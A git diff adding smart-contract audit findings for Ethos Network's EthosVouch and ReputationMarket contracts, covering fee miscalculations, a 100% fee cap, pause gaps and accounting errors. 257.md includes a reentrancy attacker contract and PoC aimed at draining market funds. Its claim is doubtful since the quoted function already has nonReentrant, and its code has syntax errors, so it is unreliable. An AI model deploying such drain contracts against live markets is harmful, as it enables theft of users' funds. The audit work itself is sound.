+### External pre-conditions + +N/A + +### Attack Path + +Repeatedly buy and sell a vote + +### Impact + +market funds can be drained + +### PoC + +_No response_ + +### Mitigation +Modifying ````_calcVotePrice()```` like this +```solidity + function _calcVotePrice(Market memory market, bool isPositive, uint256 isSell) private pure returns (uint256) { + uint256 totalVotes = market.votes[TRUST] + market.votes[DISTRUST] - isSell; + return ((market.votes[isPositive ? TRUST : DISTRUST] - isSell) * market.basePrice) / totalVotes; + } +``` \ No newline at end of file diff --git a/251.md b/251.md new file mode 100644 index 0000000..1d81637 --- /dev/null +++ b/251.md @@ -0,0 +1,44 @@ +Faithful Butter Pig + +Medium + +# Who should the dust(remaining rewards due to rounding) of the voucher pool be sent to? + +### Summary + +In the function applyFees(), the donation Fee is used to reward the profile. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L944 + +In the _rewardPreviousVouchers() function, the dust from the pool fee is also used to reward the profile. https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L735 + +I think you need not to reward profiles with dust(remaining rewards due to rounding) of the voucher pool since the donation fee is used to reward profiles. +My suggestion is to add the dust to the toDeposit variable of the applyFee() function. +This is because the primary purpose is deposits, not rewards. + +### Root Cause + +_No response_ + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/252.md b/252.md new file mode 100644 index 0000000..6817cf2 --- /dev/null +++ b/252.md @@ -0,0 +1,47 @@ +Small Inky Baboon + +Medium + +# users pay fee more than expected in EthosVouch::vouchByAddress + +### Summary + +users pay fee more than expected in `EthosVouch::vouchByAddress` + +### Root Cause + +to compute protocolFee, donationFee and vouchersPoolFee and then sum all of them as totalFee causes user pay more fee than usual + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L929 + +### PoC + +**Textual PoC:** +let's assume userA want to vouch 1 eth and total fee is 7% hence,userA pay 1.07 eth + +protocol fee is 200[2%] ,donationFee is 200[2%] and vouchersPoolFee is 300[3%] +```rust +protocol fee = 1.07e18 - ((1.07e18 * 10000) / 10200) ‎ = 2.098e16 +donationFee = 1.07e18 - ((1.07e18 * 10000) / 10200) ‎ = 2.098e16 +vouchersPoolFee = 1.07e18 - ((1.07e18 * 10000) / 10300) ‎ = 3.117e16 +total_fee = 2.098e16 + 2.098e16 + 3.117e16 ‎ = 7.313e16 +``` +as we can see user 0.07313 eth as pay but user should pay 0.07 eth as a pay its mean user pay 0.003 eth more than usual +0.003 eth * 3500[eth price] = $10.5 + +### Imapct +users pay fee more than expected in `EthosVouch::vouchByAddress` + +### Mitigation + +consider to compute total fee and then split that +```rust + +total_fee = (1.07 * 10000) / 10700 ‎ = 1 +1.07 - 1 ‎ = 0.07=> total_fee +and now +total percentage = 200 + 200 + 300 = 700 +0.07 * 200 / 700 = 0.02 eth => protocol fee +0.07 * 200 / 700 = 0.02 eth => donationFee +0.07 * 300 / 700 = 0.03 eth => vouchersPoolFee +``` \ No newline at end of file diff --git a/253.md b/253.md new file mode 100644 index 0000000..e9b8d49 --- /dev/null +++ b/253.md @@ -0,0 +1,43 @@ +Melodic Taupe Cyborg + +Medium + +# Missing Events for Fee Changes + +### Summary + +`ReputationMarket` modifies various types of fees, such as through `setProtocolFeeAddress`, but these changes are not emitted for users relying on automated tools. + +### Root Cause + +* [ReputationMarket.sol#L593](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L593) + +* [ReputationMarket.sol#L604](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L604) + +* [ReputationMarket.sol#L617](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L617) + +* [ReputationMarket.sol#L630](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L630) + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +1. Users with automated tools could experience undesired behavior or even partial fund losses. + +### Attack Path + +_No response_ + +### Impact + +1. In the worst-case scenario, certain users could be negatively affected by unexpected fee changes. + +### PoC + +_No response_ + +### Mitigation + +Emit events appropriately for fee changes. \ No newline at end of file diff --git a/254.md b/254.md new file mode 100644 index 0000000..ec2323d --- /dev/null +++ b/254.md @@ -0,0 +1,33 @@ +Small Inky Baboon + +Medium + +# total fee in ethosVouch can be greater than 10% + + + +### Root Cause + +> Maximum total fees cannot exceed 10% + +as we can see in `EthosVouch::checkFeeExceedsMaximum` if total fee be greater than 10000[100%] transcation will be reverted + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L996 + +### Impact + +total fee can be greater than 10% + +### Mitigation + +```diff +@@ -1000,7 +1016,13 @@ contract EthosVouch is AccessControl, UUPSUpgradeable, ITargetStatus, Reentrancy + entryVouchersPoolFeeBasisPoints + + newFee - + currentFee; +- if (totalFees > MAX_TOTAL_FEES) revert FeesExceedMaximum(totalFees, MAX_TOTAL_FEES); ++ if (totalFees > 1000) revert FeesExceedMaximum(totalFees, MAX_TOTAL_FEES); ++ //@audit sponsor mentioned in readme "Maximum total fees cannot exceed 10%" ++ //but max total fee here is 100% ++ } +``` \ No newline at end of file diff --git a/255.md b/255.md new file mode 100644 index 0000000..97d3a23 --- /dev/null +++ b/255.md @@ -0,0 +1,50 @@ +Melodic Taupe Cyborg + +Medium + +# ReputationMarket::getVotePrice Fails to Provide Accurate Price for Vote Sales + +### Summary + +In the case of token sales, `ReputationMarket::_calculateSell` first reduces `market.votes` and then calculates the price: + +```solidity +market.votes[isPositive ? TRUST : DISTRUST] -= 1; +votePrice = _calcVotePrice(market, isPositive); +fundsReceived += votePrice; +votesSold++; +``` + +However, in `ReputationMarket::getVotePrice`, this adjustment **does not occur for sales**. + + + +### Root Cause + +* [ReputationMarket.sol#L1036-L1039](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1036-L1039) + +* [ReputationMarket.sol#L731-L734](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L731-L734) + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +This could lead to inconsistencies in prices when other smart contracts interact with `ReputationMarket`. + +### PoC + +_No response_ + +### Mitigation + +Consider differentiating the returned prices depending on whether it is a purchase or a sale. \ No newline at end of file diff --git a/256.md b/256.md new file mode 100644 index 0000000..5f526d9 --- /dev/null +++ b/256.md @@ -0,0 +1,53 @@ +Skinny Saffron Guppy + +Medium + +# MAX_TOTAL_FEE is 100% instead of 10%. + +### Summary + +The protocol is supposed to ensure that no matter what the aggregate fee cannot exceed the constant variable MAX_TOTAL_FEE which is supposed to be 1000(10%) but it is set to 10000(100%) by mistake. + +### Root Cause + +[MAX_TOTAL_FEE](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L120) is set to 10000 basis points instead of 1000 basis points. + +### Internal pre-conditions + +none + +### External pre-conditions + +none + +### Attack Path + +none + +### Impact + +In the ethosVouch contract, there are various fees, namely exitFee,entryDonationFee,entryVouncherPoolFee. To ensure that this fee doesn’t exceed the max constant there is a `checkFeeExceedsMaximum` function to check the bound whenever any of these fees are updated by admin. This works as invariant to ensure that the fee cannot exceed some max threshold but instead of using the threshold as 1000(10%) it is set to 10000(100%) + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L996 + +```solidity + function checkFeeExceedsMaximum(uint256 currentFee, uint256 newFee) internal view { + uint256 totalFees = entryProtocolFeeBasisPoints + + exitFeeBasisPoints + + entryDonationFeeBasisPoints + + entryVouchersPoolFeeBasisPoints + + newFee - + currentFee; + if (totalFees > MAX_TOTAL_FEES) revert FeesExceedMaximum(totalFees, MAX_TOTAL_FEES); + } +``` + +The impact of this is that the core invariant of protocol is broken and higher fees can eat up all the user value. + +### PoC + +none + +### Mitigation + +change MAX_TOTAL_FEE to 1000. \ No newline at end of file diff --git a/257.md b/257.md new file mode 100644 index 0000000..ed135b8 --- /dev/null +++ b/257.md @@ -0,0 +1,218 @@ +Dazzling Pearl Capybara + +Medium + +# Reentrancy Risk Due to State Update of `marketFunds[profileId]` in the `sellVotes` function of ReputationMarket.sol Contract + +### Summary + +The current implementation of the `ReputationMarket` contract has a potential reentrancy vulnerability due to an incorrect order of state updates and external calls. In particular, the contract updates the `marketFunds` state variable after performing an external call via `_sendEth`. The state variable `marketFunds[profileId]` is updated after the external call, allowing an attacker to re-enter the `sellVotes` function before the state is updated, enabling multiple withdrawals with only one state update. + +### Root Cause + +The root cause of the reentrancy risk in the ReputationMarket contract is the improper order of state updates and external calls, which violates the Checks-Effects-Interactions (CEI) pattern. Specifically, the contract makes an external call to `_sendEth` before updating the internal state variable `marketFunds[profileId]`. This creates a vulnerability where an attacker can exploit the contract during the external call to re-enter the function before the state update is applied, leading to unexpected behavior. + +[ethos/packages/contracts/contracts/ReputationMarket.sol:sellVotes#L520](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L519C1-L522C45) +```solidity + function sellVotes( + uint256 profileId, + bool isPositive, + uint256 amount + ) public whenNotPaused activeMarket(profileId) nonReentrant { +... + // send the proceeds to the seller + _sendEth(fundsReceived); // Step 1: External call made before state update + // tally market funds + marketFunds[profileId] -= fundsReceived; // Step 2: State updated after external call + +... +``` + +### Internal pre-conditions + + - `marketFunds[profileId]` must have sufficient funds. + - The seller must have enough votes to sell. + - The transaction amount must be reasonable. + +### External pre-conditions + + - The seller's address must be valid. + - The contract must have sufficient ETH balance. + - Gas limits must be sufficient for execution. + +### Attack Path + +1. **Contract Setup:** + - The attacker deploys the `MarketAttacker` contract and initializes it with the target `ReputationMarket` contract’s address. + - The attacker calls the `setup()` function, purchasing some initial votes using ETH by invoking the `buyVotes()` function in `ReputationMarket`. + +2. **Reentrancy Attack:** + - Upon receiving the ETH transfer from the `sellVotes` function of `ReputationMarket`, the attacker’s `receive()` function is triggered. + - In the `receive()` function, the attacker checks if the `attackCount` is less than 10 (limiting the number of re-entrancy attempts). + - If the condition holds true, the attacker increments the `attackCount`, and recursively calls the `sellVotes()` function again, which results in the attacker withdrawing funds multiple times. + - Each recursive call to `sellVotes` leads to the transfer of ETH to the attacker, but since the state update (decreasing the market funds) happens after the ETH transfer, the attacker is able to repeatedly withdraw funds before the market's balance is updated. + +3. **Launching the Attack:** + - The attacker launches the attack by calling the `attack()` function, which starts the reentrancy loop by invoking `sellVotes()` to trigger the initial transfer of ETH. + - Each time the `receive()` function is triggered, the attacker calls `sellVotes()` again, thus enabling multiple withdrawals of funds from the market contract without updating the contract's state in between. + +4. **Impact on Funds:** + - The attacker is able to withdraw more ETH than the contract's actual balance because the state (i.e., the market funds) is not updated before the external call (`_sendEth()`), allowing the attacker to drain the contract’s balance. + + +```solidity +contract MarketAttacker { + ReputationMarket target; + uint256 public attackCount; + uint256 public totalWithdrawn; + uint256 public profileId; + + constructor(address _target) { + target = ReputationMarket(_target); + } + + // Initialize: Purchase some votes + function setup() external payable { + target.buyVotes{value: msg.value}( + profileId, + true, // isPositive + 1, // minVotesExpected + 10000 // maxSlippageBasisPoints + ); + } + + // Callback function when ETH is received + receive() external payable { + if (attackCount < 10) { // Limit re-entry attempts + attackCount++; + // Recurse into sellVotes when receiving funds + target.sellVotes( + profileId, + true, // isPositive + 1, // votesToSell + ); + totalWithdrawn += msg.value; + } + } + + // Launch attack + function attack() external { + attackCount = 0; + target.sellVotes( + profileId, + true, // isPositive + 1, // votesToSell + ); + } +} +``` + +### Impact + +**Re-entrancy and Double Withdrawal:** + ```solidity + // Each re-entry can: + fundsReceived = X; + _sendEth(X); // Sends X + marketFunds[profileId] -= X; // State updated last + // This results in multiple withdrawals but only one state reduction + ``` + +### PoC + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.26; + +import {Test} from "forge-std/Test.sol"; +import {ReputationMarket} from "../contracts/ReputationMarket.sol"; + +contract Attacker { + ReputationMarket public market; + uint256 public attackCount; + uint256 public profileId; + + constructor(address _market) { + market = ReputationMarket(_market); + } + + // Buy initial votes + function setup(uint256 _profileId) external payable { + profileId = _profileId; + market.buyVotes{value: msg.value}( + profileId, + true, // isPositive + 1, // minVotesExpected + 10000 // maxSlippageBasisPoints + ); + } + + // Reentrancy attack + receive() external payable { + if (attackCount < 10) { + attackCount++; + market.sellVotes(profileId, true, 1); + } + } + + // Start the attack + function attack() external { + attackCount = 0; + market.sellVotes(profileId, true, 1); + } +} + +contract ReputationMarketTest is Test { + ReputationMarket public market; + Attacker public attacker; + uint256 public profileId = 1; + + function setUp() public { + // Deploy the contract + market = new ReputationMarket(); + market.initialize(address(this), address(1), address(2)); + attacker = new Attacker(address(market)); + + // Create a market + market.addMarketConfig(1 ether, 100, 0); + market.createMarketWithConfigAdmin(profileId, 1); + + // Prepare for the attack + attacker.setup{value: 5 ether}(profileId); + } + + function testReentrancy() public { + // Record initial state + uint256 initialFunds = market.marketFunds[profileId]; + + // Execute the attack + attacker.attack(); + + // Verify the attack result + uint256 finalFunds = market.marketFunds[profileId]; + assertGt(attacker.attackCount(), 0, "Reentrancy failed"); + assertGt(initialFunds - finalFunds, 1 ether, "Funds not drained"); + } +} + + +``` + +### Mitigation + +The current implementation of the contract has a reentrancy risk due to the improper ordering of state updates and external calls. To mitigate this risk: + + ```solidity + function sellVotes(...) external nonReentrant { + // ... other logic ... + + // 1. Update state first + marketFunds[profileId] -= fundsReceived; + + // 2. Make external call + _sendEth(fundsReceived); + + // 3. Trigger event + emit VotesSold(profileId, msg.sender, votesToSell, fundsReceived); + } + ``` \ No newline at end of file diff --git a/258.md b/258.md new file mode 100644 index 0000000..29b34f2 --- /dev/null +++ b/258.md @@ -0,0 +1,37 @@ +Melodic Taupe Cyborg + +Medium + +# ReputationMarket::_calculateBuy Overcharges Fees + +### Summary + +`ReputationMarket::_calculateBuy` calculates fees based on the amount received, rather than the amount spent. This causes any excess amount returned to the user to also incur fees, leading to additional losses for the user. + +### Root Cause + +* [ReputationMarket.sol#L960](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L960) + +### Internal pre-conditions + +1. A user attempts a trade with an excess amount that needs to be refunded. + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +1. Typically, a minor loss for users who attempt to purchase votes with imprecise amounts. + +### PoC + +_No response_ + +### Mitigation + +Calculate fees based on the **amount spent**, not the total amount provided by the user. \ No newline at end of file diff --git a/259.md b/259.md new file mode 100644 index 0000000..d173938 --- /dev/null +++ b/259.md @@ -0,0 +1,238 @@ +Striped Fuchsia Fly + +Medium + +# Vote buyers will have to pay more fees than expected + +### Summary + +Taking fees from total input amount will cause the vote buyers to spend more fees than expected + +### Root Cause + +- In [function `ReputationMarket::_calculateBuy()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L942-L983), the fees are taken from the buyer input amount +```solidity + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // Determine how many votes can be bought with the funds provided + ( + uint256 votesBought, + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice +@> ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + _checkSlippageLimit(votesBought, expectedVotes, slippageBasisPoints); + ... +} +``` +- The amount after fee `fundsAvailable` is then used to calculate votes bought by the user. The final amount the buyer needs to pay is `fundsPaid`, which finally includes the fees above. Note that `fundsPaid` is the effective capital. +```solidity + function _calculateBuy( + Market memory market, + bool isPositive, + uint256 funds + ) + private + view + returns ( + uint256 votesBought, + uint256 fundsPaid, + uint256 newVotePrice, + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + uint256 fundsAvailable; +@> (fundsAvailable, protocolFee, donation) = previewFees(funds, true); + uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 minPrice = votePrice; + uint256 maxPrice; + + if (fundsAvailable < votePrice) { + revert InsufficientFunds(); + } + + while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } +@> fundsPaid += protocolFee + donation; + + maxPrice = votePrice; + + return (votesBought, fundsPaid, votePrice, protocolFee, donation, minPrice, maxPrice); + } + + function previewFees( + uint256 amount, + bool isEntry + ) private view returns (uint256 funds, uint256 protocolFee, uint256 donation) { + if (isEntry) { +@> protocolFee = (amount * entryProtocolFeeBasisPoints) / BASIS_POINTS_BASE; +@> donation = (amount * donationBasisPoints) / BASIS_POINTS_BASE; + } else { + protocolFee = (amount * exitProtocolFeeBasisPoints) / BASIS_POINTS_BASE; + } + funds = amount - protocolFee - donation; + } +``` + +- The leftover amount `msg.value - fundsPaid` is then refunded to the buyer +```solidity + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); +... + // Calculate and refund remaining funds +@> uint256 refund = msg.value - fundsPaid; +@> if (refund > 0) _sendEth(refund); +... +``` + +The buyer's input amount can be higher than the effective amount that is used to actually buy votes. So fees taken is slightly higher than expected in each buy transaction. The difference is more clear when observing in many buy transactions, such that when an users buy votes using `1 ether` will spend less fee than buy votes using 2 transactions with `0.5 ether`. + +- Combined with the design that using `while` loop in function `_calculateBuy()`, it is more likely that users who want to buy with a large amount of funds will have to submit many `buyVotes()` transactions. This cause the users have to spend fees overhead + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +- Users have to pay fee for the ineffective capital, resulting protocol takes more profit +- Users have to pay more fees to buy votes with large amount of funds than expected because they have to divide the funds into many transactions + +### PoC + +Prepare a Foundry test as below: +```solidity +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +import {Test, console} from "forge-std/Test.sol"; +import {EthosVouch} from "contracts/EthosVouch.sol"; +import {ReputationMarket} from "contracts/ReputationMarket.sol"; + +contract MyTest is Test { + EthosVouch vouch; + ReputationMarket market; + + address THIS = address(this); + + mapping(address => uint256) id; + + address buyer; + + function setUp() public { + vouch = new EthosVouch(); + + vm.store(address(vouch), 0xf0c57e16840df040f15088dc2f81fe391c3923bec73e23a9662efc9c229c6a00, bytes32(0)); + + vouch.initialize(THIS, THIS, THIS, THIS, THIS, THIS, 0, 0, 0, 0); + + market = new ReputationMarket(); + + vm.store(address(market), 0xf0c57e16840df040f15088dc2f81fe391c3923bec73e23a9662efc9c229c6a00, bytes32(0)); + + market.initialize(THIS, THIS, THIS, THIS, THIS); + + id[THIS] = 1; + + buyer = makeAddr("buyer"); + deal(buyer, 100 ether); + id[buyer] = 2; + } + + function test_IneffectiveFee() public { + // create market and set fees + market.createMarketWithConfigAdmin{value: 0.01 ether * 50}(THIS, 1); + market.setProtocolFeeAddress(THIS); + market.setEntryProtocolFeeBasisPoints(500); + market.setDonationBasisPoints(500); + market.setExitProtocolFeeBasisPoints(500); + + vm.startPrank(buyer); + + uint256 snapshotId = vm.snapshot(); + uint256 buyAmount = 0.1 ether; + + // User buys with 1 transaction + market.buyVotes{value: buyAmount}(1, true, 0, 0); + + uint256 buyerBalanceAfter1 = address(buyer).balance; + + ReputationMarket.MarketInfo memory userVotes1 = market.getUserVotes(buyer, 1); + + vm.revertTo(snapshotId); + + (, uint256 fundsPaid,,,,,) = market.simulateBuy(1, true, buyAmount / 2); + + // User buys with 2 transactions + market.buyVotes{value: buyAmount / 2}(1, true, 0, 0); + + market.buyVotes{value: buyAmount - fundsPaid}(1, true, 0, 0); + + uint256 buyerBalanceAfter2 = address(buyer).balance; + + ReputationMarket.MarketInfo memory userVotes2 = market.getUserVotes(buyer, 1); + + + // resulting with same votes amount in 2 cases + assertEq(userVotes1.trustVotes, userVotes2.trustVotes, "votes"); + + // check balance in 2 cases + assertEq(buyerBalanceAfter1, buyerBalanceAfter2, "balances"); + } + + function getContractAddressForName(string memory) public returns (address) { + return THIS; + } + + function verifiedProfileIdForAddress(address input) public returns (uint256) { + return id[input]; + } + + fallback() external payable {} +} +``` + +Run the test and console shows: +```bash +Failing tests: +Encountered 1 failing test in test/MyTest.t.sol:MyTest +[FAIL: balances: 99904661858515683084 != 99904168841064537412] test_IneffectiveFee() (gas: 785520) +``` +The difference is `99904661858515683084 - 99904168841064537412 = 493017451145672`, which approx 0.49% compared to the buy amount `0.1 ether` + +### Mitigation + +Consider updating the fee mechanism to only take fee for the effective funds \ No newline at end of file diff --git a/260.md b/260.md new file mode 100644 index 0000000..8be680a --- /dev/null +++ b/260.md @@ -0,0 +1,38 @@ +Plain Midnight Peacock + +High + +# Same recipient address for different markets and in function updateDonationRecipient() will update all money from the old recipient address into the new one + +### Summary + +There is not limit for one recipient address to only serve for one market which means one address can serve as the recipient address for multiple markets. And the function updaDonationRecipient will swap all the donation balance from old to new. + +### Root Cause + +Firstly there is no limitation for recipient address to only serve for one market. https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L341 +And In the function updateDonationRecipient(), https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L544-L564 The function is to update the donation recipient for a market. In the function, it should only update profileId market recipient. While the variable donationEscrow is the accumulated money of one recipient of all the markets it serve. donationEscrow[newRecipient] += donationEscrow[msg.sender]; will transfer all the money from all markets into profileId market. If one only want to update one market recipient to a new one, he will lose all the other markets' donation. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/261.md b/261.md new file mode 100644 index 0000000..fd1eba3 --- /dev/null +++ b/261.md @@ -0,0 +1,39 @@ +Melodic Taupe Cyborg + +Medium + +# EthosVouch::increaseVouch Does Not Revert When Contract is Paused + +### Summary + +It is possible to call `EthosVouch::increaseVouch` to increase a position in a specific vouch even when the contract is paused, which could be contradictory. + +### Root Cause + +[EthosVouch.sol#L426](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426) + +The whenNotPaused modifier is missing. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +In the event of unforeseen circumstances, a user could continue depositing ETH into a paused contract, which may not be desired. + +### PoC + +_No response_ + +### Mitigation + +Add the `whenNotPaused` modifier. \ No newline at end of file diff --git a/262.md b/262.md new file mode 100644 index 0000000..0086503 --- /dev/null +++ b/262.md @@ -0,0 +1,38 @@ +Main Inky Bobcat + +Medium + +# `buyVote` function funds tracking vulnerability + +## Summary +The current implementation of `marketFunds[profileId] += fundsPaid` includes the `protocolFee` and `donation`, even though these fees are redirected elsewhere (e.g., `protocol fees to a protocolFeeAddress` and `donations to donationEscrow`). This creates a discrepancy in accounting, as marketFunds[profileId] should ideally reflect only the funds directly related to the market and not include amounts sent elsewhere. + +## code snippet: +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L480-L481 + +## Vulnerability Details +#### Issue: Incorrect Tallying of Funds in `marketFunds` +#### Description: +The `fundsPaid` variable includes `protocolFee` and `donation` in its calculation: +```solidity +fundsPaid += protocolFee + donation; +``` +This total is used to calculate the refund for the user, ensuring excess funds are returned. However, when adding `fundsPaid` to `marketFunds[profileId]`, the same total is used, which inaccurately inflates the `marketFunds` value with amounts already sent to other destinations: +```solidity +marketFunds[profileId] += fundsPaid; +``` +Since `protocolFee` is sent to the `protocolFeeAddress` and `donation` is added to `donationEscrow`, these amounts should not be included in `marketFunds[profileId]`. + +#### Root Cause: +Misalignment between the `fundsPaid` variable and the actual funds that should be attributed to `marketFunds[profileId]`. + +## Impact +1. Overestimation of Market Funds: The `marketFunds` value is inflated by including the protocol fees and donations, which do not belong to the market. This could lead to incorrect assumptions about available market funds, especially during withdrawal or graduation processes. +2. Potential for Misuse or Exploitation: Misrepresenting market funds may open the door for unintended over-withdrawal during market graduation or other functions reliant on marketFunds. +3. Accounting Inconsistencies: The accounting logic is not aligned with the actual flow of funds, reducing clarity and increasing the risk of future bugs or misinterpretations. + +## Recommendations +Modify the` marketFunds[profileId]` update to exclude `protocolFee` and `donation`: +```solidity +marketFunds[profileId] += (fundsPaid - protocolFee - donation); +``` \ No newline at end of file diff --git a/263.md b/263.md new file mode 100644 index 0000000..5cd1660 --- /dev/null +++ b/263.md @@ -0,0 +1,39 @@ +Melodic Taupe Cyborg + +Medium + +# Users Can Avoid Some Fees in EthosVouch + +### Summary + +Users can split their purchases into several portions larger than `configuredMinimumVouchAmount`, call `vouchByProfileId`, and then call `increaseVouch` to avoid paying all the fees they would incur in `increaseVouch` due to being part of the `vouchIdsForSubjectProfileId` array. + +### Root Cause + +[EthosVouch.sol#L701](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L701) + +By following the steps mentioned in the summary, the user is already part of `vouchIdsForSubjectProfileId[subjectProfileId]`, which would allow them to avoid part of the fees they are paying. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Users who have already purchased vouches will receive a smaller portion of the fees each time this procedure is followed. + +### PoC + +_No response_ + +### Mitigation + +Distribute the fees to users in a way that avoids users paying fees to themselves. \ No newline at end of file diff --git a/264.md b/264.md new file mode 100644 index 0000000..1fedea6 --- /dev/null +++ b/264.md @@ -0,0 +1,39 @@ +Creamy Carbon Griffin + +Medium + +# Missing update to isParticipant + +### Summary + +isParticipant according to this comment +```// append only; don't bother removing. Use isParticipant to check if they've sold all their votes.``` +Should be used to check if a user has sold all their votes, however, this variable is not updated in the [sellVotes function](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534) + +### Root Cause + +A user should be removed as a marketParticipant if their new balance after selling votes is 0, however, due to the lack of a check in the `sellVotes` function, a user with 0 votes can still be recorded as a market participant. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The recorded state of the isParticipant mapping fails to accurately track the reality of the contract's state. + +### PoC + +_No response_ + +### Mitigation + +A user should be removed as a marketParticipant if their new balance after selling votes is 0. \ No newline at end of file diff --git a/265.md b/265.md new file mode 100644 index 0000000..b2e4805 --- /dev/null +++ b/265.md @@ -0,0 +1,119 @@ +Original Boysenberry Hare + +Medium + +# Incorrect check in `createMarketWithConfig()` disallows users from creating a market when they should be able to do so and allows users to create a market when they should not be able to do so + + +## Description + +**Context:** + +Users with an active Ethos profile can [create a reputation market](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L276-L293) for their profile. In return, they [earn a donation fee](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L1121) whenever another user [buys trust/distrust votes](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L442-L493) from that reputation market. Other users purchase trust/distrust votes to make a profit. This operates similarly to crypto trading: + +- Scenario 1 (Trust Votes): A user predicts that others will view a profile as trustworthy. he buys trust votes early and [sell](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534) them later when others bought trust votes, earning a profit. +- Scenario 2 (Distrust Votes): A user predicts others will view a profile as untrustworthy. They buy distrust votes early and [sell](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534) them later after others follow, again earning a profit. + +**Vulnerability Details:** + +There are two scenarios where reputation market creation can occur: + +1. Market creation is allowed for everyone. +2. only whitelisted users can create a market and non-whitelisted users cannot. + +The `ReputationMarket` contract has a state variable called `bool enforceCreationAllowList`, which is explained as follows: + +[ReputationMarket.sol#L133-L134](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L133-L134): + +```solidity + // This is used to control whether anyone can create a market or only the contract admin or addresses in the allow list. + bool private enforceCreationAllowList; +``` + +after deploying the contract, deployer initializes the proxy by calling 